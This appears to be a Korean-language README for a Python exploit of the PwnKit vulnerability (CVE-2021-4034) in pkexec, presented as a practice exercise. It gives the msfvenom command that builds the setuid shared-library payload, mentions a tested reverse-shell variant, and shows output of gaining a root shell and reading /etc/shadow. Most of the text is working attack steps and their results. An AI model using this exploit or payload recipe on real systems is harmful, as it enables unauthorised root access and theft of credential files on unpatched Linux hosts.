
Python용 CVE-2021-4034(PwnKit) 익스플로잇으로, pkexec를 통해 권한을 root로 상승시키고 msfvenom 페이로드로 root 셸을 생성합니다.
Python3 코드로 CVE-2021-4034 (PWNKIT) 취약점을 악용합니다. 이것은 "Python으로 이걸 동작시킬 수 있을까?"라는 연습용이며, 견고한 익스플로잇을 위한 것이 아닙니다. 제 환경에서는 동작하지만, 버그가 있을 수 있습니다.
기본 페이로드는 msfvenom으로 생성된 root 셸을 시작합니다:
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
linux/x64/shell_reverse_tcp도 테스트했습니다. msfvenom에 PrependSetuid=true 인자를 반드시 포함하세요. 그렇지 않으면 root가 아닌 일반 사용자 셸만 얻을 수 있습니다.
코드는 blasty의 것을 참고했으며, 원본은 여기에서 확인할 수 있습니다.
$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#